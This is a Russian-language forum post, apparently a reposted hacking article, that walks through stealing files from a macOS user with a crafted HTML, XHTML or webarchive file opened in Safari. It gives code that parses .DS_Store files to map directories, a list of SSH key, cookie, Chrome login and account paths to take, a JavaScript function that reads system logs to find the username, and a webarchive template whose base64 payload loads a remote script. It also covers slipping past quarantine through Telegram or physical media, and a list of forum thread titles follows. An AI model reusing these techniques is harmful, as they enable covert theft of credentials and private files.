Как утащить данные пользователя macOS с помощью одного документа

  • Автор темы Gidroponika
  • Дата начала
G

Gidroponika

Представь ситуацию: ты открываешь HTML-документ, и через какое-то время файлы с твоего жесткого диска оказываются у злоумышленника, притом абсолютно незаметно. Документы, код, SSH-ключи, пароли… Словом, улетают все файлы, которые ты, как текущий системный пользователь, имеешь право читать. Скажешь, невозможно? Современный браузер должен тебя защитить? Да, но у некоторых из них есть свои особенности.

В общих чертах атака работает следующим образом.

  1. Пользователь открывает HTML-страницу в браузере.
  2. Браузер читает список имеющихся на компьютере пользователя файлов.
  3. Браузер читает «важные» файлы и загружает их на удаленный сервер злоумышленника. При этом для пользователя весь процесс остается незаметным.
Разделим атаку условно на два этапа:

  • получение информации о файлах удаленного компьютера;
  • само чтение и отправка на наш сервер.
На первом этапе мы должны каким-то образом узнать список интересующих нас файлов на компьютере пользователя. Проблема в том, что никакого внятного способа сделать это нет. Ни один браузер не даст тебе с HTML-страницы прочесть локальную директорию ~/ и список файлов на рабочем столе.

Тыкаться наугад — тоже не вариант: да, мы знаем несколько «важных» путей вроде ~/.ssh/id_rsa, но в большинстве случаев файловая система пользователя, открывающего нашу «злую» страницу, — темный лес.

На втором этапе мы, имея полный набор путей, должны каким-то образом выйти за границы песочницы браузера, прочесть локальные файлы и загрузить к себе на сервер.

Вся информация носит только ознакомительный характер. Ни автор, ни канал не несут ответственности за ее ненадлежащее использование.​


Извлекаем список файлов
MacOS имеет забавную особенность. Если ты откроешь директорию с файлами, операционная система создаст специальный скрытый файл — .DS_Store. Этот файл хранит настройки просмотра папки в macOS, включает в себя информацию о расположении окна папки, размере окна, опции просмотра, которые были выбраны (значки, список или таблица), и внешний вид значков в окне. Система создает эти файлы автоматически. Другими словами, операционная система кеширует информацию о файлах для быстрого отображения директории.

В .DS_Store попадают превью изображений (как скрытый файл Thumbs.db в Windows), но в отличие от Windows в нем также содержатся имена файлов и директорий. Достаточно зайти в директорию с файлами, и операционка тут же создаст .DS_Store.

image2.png

Служебный файл .DS_Store автоматически создается в директории, когда в нее заходишь
Что в этом примечательного? А то, что .DS_Store можно распарсить и получить названия всех файлов в каталоге. Для этого подойдет одноименный модуль DSStore для Python. Вот пример кода, реализующего чтение .DS_Store:

Код:
##!/usr/bin/env python
from ds_store import DSStore
import json
path = '/Users/USERNAME/.DS_Store'
def parse(file):
    filelist = []
    for i in file:
        if i.filename!='.':
            filelist.append(i.filename)
    return list(set(filelist))
d=DSStore.open(path, 'r+')
fileresult=parse(d)
print(json.dumps(fileresult))
for name in fileresult:
    try:
        d = DSStore.open(path + name+ '/.DS_Store', 'r+')
        fileresult = parse(d)
        all.append(fileresult)
        print(json.dumps(fileresult))
    except:
        pass


Сохраним этот код в файл parse_ds_store.py и запустим. В моем случае результат работы выглядит как-то так:

Код:
$ python parse_ds_store.py
["Documents", "Pictures", ".idm", "Desktop", "Music", ".oracle_jre_usage", "Public", "tmp", "Parallels", "MEGA", ".BurpSuite", "Downloads", ".config", ".cache", "Applications", ".bash_sessions", "Creative Cloud Files", "PycharmProjects", "Applications (Parallels)", "Dropbox", "Nextcloud", ".iterm2", ".Trash", "Scripts", "Movies", "MEGAsync Downloads", "Soft", ".local", ".ssh", "Library", ".pgadmin"]

Что мы видим? А мы видим имена файлов и папок в домашней директории. Узнав их, можно обращаться к каждой следующей директории, искать .DS_Store там и таким образом получать иерархию файлов и папок, не имея доступа к листингу директорий.

Для примера парсим домашнюю папку (~/.DS_Store), получаем подобное содержимое:

Код:
["Backups", "Soft", "Pictures", ".ssh" ...]
Обращаемся к ~/Backups/.DS_Store, получаем:
Код:
["2017", "2016", "2015", ...]
На следующей итерации ~/Backups/2017/.DS_Store:
Код:
["source", "sql", "static", ...]


И так далее.

Пара замечаний:

  • тебе нужно знать имя пользователя в системе;
  • файл .DS_Store создается только там, куда заходит пользователь.
В остальном все отлично работает. Теперь слушай дальше.





Предсказываем пути для чувствительных файлов
Что же еще есть ценного у пользователя? В первую очередь директория .ssh, куда обычно сваливаются закрытые ключи.

Для начала вспомним о таких путях:

  • ~/.ssh/id_rsa;
  • ~/.ssh/id_rsa.key;
  • ~/.ssh/id_rsa.pub;
  • ~/.ssh/known_hosts;
  • ~/.ssh/authorized_keys.
И .bash_history — история введенных в терминал команд еще никому не помешала!



Собираем куки и не только
Займемся сбором печенек. Во-первых, macOS имеет предсказуемые пути хранения данных об аккаунтах в директории.

  • ~/Library/Cookies/Cookies.binarycookies
  • ~/Library/Cookies/com.apple.Safari.cookies
Там же будут лежать cookie от Twitter, Skype и прочих приложений.

Захватим и данные о HSTS — там найдутся посещенные сайты, которые вернули заголовок HSTS. Лишним не будет!

Код:
~/Library/Cookies/HSTS.plist

Информацию об аккаунтах в системе тоже заберем с собой.

Код:
~/Library/Accounts/Accounts4.sqlite
Ну и не Safari единым, обычно различные файлы и конфиги установленного софта лежат в пути

Код:
~/Library/Application Support/

Мы заберем только файлики Chrome:

Код:
~/Library/Application Support/Google/Chrome/Default/Login Data
~/Library/Application Support/Google/Chrome/Default/Cookies
~/Library/Application Support/Google/Chrome/Default/History

А ты пошарься, вдруг где хранятся интересные файлы каких-нибудь FTP/SQL-клиентов или история сообщений мессенджеров.







Получение полных путей к файлам пользователя
Что забрать с собой, мы уже выяснили. Теперь попробуем собрать эти файлы с помощью Safari.
В Chrome, к примеру, с ходу читать локальные файлы с помощью JavaScript не выйдет. Чтобы это сработало, Chrome нужно предварительно запустить со специальным аргументом (--disable-web-security). Safari тоже предупреждает, что работать с file:// он не умеет.

image3.png

Просто так читать file:// в Safari нельзя
Однако если HTML не был скачан из интернета, Safari более лоялен к такому виду запросов — отправив с помощью XHR запрос к локальному файлу, мы получим его содержимое:

image1.png

…но если файл локальный — то можно!
Благодаря этой особенности, зная полный путь к файлу, мы можем загрузить его содержимое и отправить на удаленный сервер!

Но вот незадача — как получить полный путь, если мы не знаем имя пользователя? А ведь в /etc/passwd вообще нет логинов пользователей (я проверял, да)!

Чтобы узнать имя пользователя, мы проверяем два log-файла, которые появляются, едва ты установишь и настроишь ОС.

Это файлы /var/log/system.log и /var/log/install.log. Не будет в одном — скорее всего, будет в другом. Загружаем эти файлы в браузер и с помощью регулярного выражения получаем имя пользователя.

Вот JS-функция для извлечения имени пользователя из файлов логов:
Код:
function getUser() {
    var xhr = new XMLHttpRequest();
    try {
        xhr.open('GET', '/var/log/system.log;/https:%2f%2fgoogle.com/', false);
        xhr.send();
        return xhr.responseText.match(//Users/w+//g)[0];
    } catch (e) {
        xhr.open('GET', '/var/log/install.log;/https:%2f%2fgoogle.com/', false);
        xhr.send();
        return xhr.responseText.match(//Users/w+//g)[0];
    }
}

Отправляем файлы на сервер
А теперь соединяем первую часть статьи и возможность читать файлы. Для PoC делаем серверную часть, принимаем от пользователя путь и содержимое. Если это .DS_Store, отдаем еще пути на парсинг.

Можно попробовать сделать черные и белые списки, например чтобы не качать тяжелые фильмы или, наоборот, качать только файлы .docx.​


Но что делать, если в системе установлены другие браузеры? HTML будет открыт с помощью Chrome или FF, и ничего не произойдет.

К счастью, есть пара расширений, которые открываются только Safari. Это XHTM и webarchive. Если с XHTM все понятно — это веб-страница на основе XML (а в нем можно выполнять JS), то с webarchive немного сложнее. Он имеет два формата, один из которых можно легко скрафтить вручную:

Код:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>WebMainResource</key>
    <dict>
        <key>WebResourceData</key>
        <data>
            PGh0bWw+PGhlYWQ+PC9oZWFkPjxib2R5PjxzY3JpcHQgc3JjPSdodHRwczo
            vL2JvMG9tLnJ1L3NhZmFyaV9wb2MvcmVhZGZpbGUuanMnPjwvc2NyaXB0Pj
            wvYm9keT48L2h0bWw+
        </data>
        <key>WebResourceFrameName</key>
        <string></string>
        <key>WebResourceMIMEType</key>
        <string>text/html</string>
        <key>WebResourceTextEncodingName</key>
        <string>UTF-8</string>
        <key>WebResourceURL</key>
        <string>file:///</string>
    </dict>
</dict>
</plist>


где data — это страница в Base64, в каждой строке которой 59 символов.



Возможности обхода ограничений флага Where from
По умолчанию для файлов, переданных по Сети, есть ограничение на выполнение такого кода.

image5.png

Срабатывает защита
Это значит, что, если просто послать файл по почте, он может не сработать.

Хорошая новость заключается в том, что не все программы выставляют флаг при скачивании файла. К примеру, версия Telegram для macOS этого не делает. В ряде тестов нам удалось прочесть файлы пользователя «вредоносным» файлом XHTM, переданным через десктопную версию Telegram для macOS, причем без архивирования и защиты паролем.

image6.png

PoC, переданный через Telegram Desktop, сработал!
Наверняка ты сможешь найти и другие примеры. И конечно же, готовый файл можно подсунуть жертве на физическом носителе во время проведения социотехнического тестирования.

Готовый сервер, а также два вида HTML-файла с полезной нагрузкой найдешь в этом

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

.





Защита
На данный момент защиты от этой атаки нет. Могу посоветовать лишь смотреть, что открываешь, скачав из интернета, и по возможности не использовать браузер Safari. Apple, очевидно, не считает эту проблему уязвимостью, и на данный момент о патче ничего не слышно. Так что используй эту силу с умом, Люк!
 
Название темы
Автор Заголовок Раздел Ответы Дата
Support81 Исповедь хакера: как случайный эксперимент оставил без связи тысячи людей в Бразилии Новости в сети 0
Support81 Фейковые айтишники, настоящие миллиарды и немного ядерной программы: как прокачанные фишеры замиксовали $1,5 млрд Новости в сети 0
Support81 Microsoft дала ИИ настоящий инструмент программиста — и он впервые узнал, как сложно быть человеком Новости в сети 0
Support81 25 000 за воздух: как «таможенники» из Telegram разводят на доверии Новости в сети 0
Support81 $21 млн в крипте: как офицеры КСИР прикрылись «борьбой с мошенничеством» Новости в сети 0
Support81 Шифрование не спасет: как хакеры читают "защищенные" сообщения без взлома Новости в сети 0
Support81 Невидимая империя зла: как ИИ, дети и крипта строят цифровую империю Новости в сети 1
Support81 DNS без штанов: как нас сдают провайдерам по умолчанию Новости в сети 0
Support81 Комната 641А: как инженер AT&T раскрыл систему массовой слежки Новости в сети 0
Support81 "Чудо-решение" или маркетинг: как Google создает иллюзию объективности для продвижения технологий Новости в сети 0
Support81 Фрод в рекламе: как мошенники крадут бюджеты и что с этим делать Новости в сети 0
Support81 Невидимый взломщик: как обычные разговоры позволяют взломать GPT-4o Новости в сети 0
Support81 5 лет до точки невозврата: как квантовые компьютеры обрушат мировые банки Новости в сети 0
Support81 Вирус в заявке: как Zhong Stealer «ломает» компании через службу поддержки Новости в сети 0
Support81 Обмани себя сам: как ИИ-трейдеры ведут подписчиков к финансовому краху Новости в сети 0
Support81 Взлом, майнинг, выкуп: 5 хакеров придумали, как выжать из IT-гигантов все соки Новости в сети 0
Support81 CAPTCHA + PDF: как мошенники превратили Webflow в орудие фишинга Новости в сети 0
Support81 $16 млн и 1000 жертв: как хакеры Phobos попались в ловушку спецслужб Новости в сети 0
Support81 Мечта хакеров: как CVE-2024-52875 стала идеальным инструментом для кибератак Новости в сети 0
Support81 StarkRDP теперь LakeVPS: как злоумышленники возрождают подпольные рынки за считанные дни Новости в сети 0
Support81 Дешевле – не значит лучше: как уязвимости DeepSeek уничтожают защиту бизнеса Новости в сети 1
Support81 Важно!!! MMS возвращается: как устаревший протокол стал оружием криптомошенников Новости в сети 0
Support81 Chrome, Firefox и Edge: как Flesh Stealer стал ночным кошмаром для браузеров Новости в сети 0
Support81 Майнеры в облаке: как хакеры годами добывают криптовалюту за чужой счёт Новости в сети 0
Ёшкин_кот Статья Как скрыть цифровой след в интернете: практическое руководство. Полезные статьи 0
Support81 Из одной банды ‒ сотня новых: как полицейские облавы укрепили армию шантажистов Новости в сети 0
Support81 Машина против машины: как MintsLoader избегает обнаружения Новости в сети 0
wrangler65 Интересно Как удалить информацию о себе из интернета: подробная инструкция Полезные статьи 0
Support81 Банки, логистика и мошенники: как работает фишинговая «Premium Panel» Новости в сети 0
Support81 Тайны кода: как спецслужбы США используют ошибки в ПО Новости в сети 0
Support81 GhostGPT: как Telegram-бот из новичков делает профи криминального ИИ Новости в сети 1
Support81 UI-TARS: ByteDance научила ИИ работать с компьютером как человек Новости в сети 0
Support81 Скамеры дуреют с этой прикормки: как секретный токен ФБР вывел мошенников на чистую воду Новости в сети 0
Support81 12 недель на решение: как Великобритания планирует побороть кибервымогательство Новости в сети 0
wrangler65 Интересно Как сэкономить до 70% на переводах USDT TRC-20 через энергию Полезные статьи 0
Support81 $787 тысяч исчезли за секунды: как хакеры обошли защиту Orange Finance Новости в сети 0
Support81 LockBit 4.0: как вымогатели планируют возвращать утраченные позиции Новости в сети 0
Support81 Личное в публичное: как простой вызов такси оборачивается потерей данных Новости в сети 0
Support81 Жертвы жадности: как работает новая схема кражи криптовалют на YouTube Новости в сети 0
Support81 Лица на распродаже: как утечки данных помогают хакерам обходить проверки личности Новости в сети 0
Support81 Генеративный ИИ на службе зла: как тысячи вирусов избегают обнаружения Новости в сети 0
Support81 DoS, RCE и утечки данных: как Prometheus становится оружием хакеров Новости в сети 0
Support81 $88 миллионов добычи: как IT-воины КНДР шесть лет водили США за нос Новости в сети 0
Support81 BadRAM: как взломать облака Amazon, Google и Microsoft за $10 Новости в сети 0
Support81 $16 миллионов похищено через LinkedIn: как хакеры обманули Rain Новости в сети 0
Support81 Rockstar 2FA: как хакеры обходят многофакторную защиту в два клика Новости в сети 0
Support81 Эксплойт дня: как баг в кsthunk.sys превращается в цифровое оружие Новости в сети 0
Support81 DDoS на заказ: как Matrix монетизирует крупнейшую ботнет-сеть через Telegram Новости в сети 0
Support81 12 месяцев в тени: как Salt Typhoon разоблачил агентурную сеть США Новости в сети 0
Support81 Ошибка в Windows Registry: как получить права администратора домена Новости в сети 0

Название темы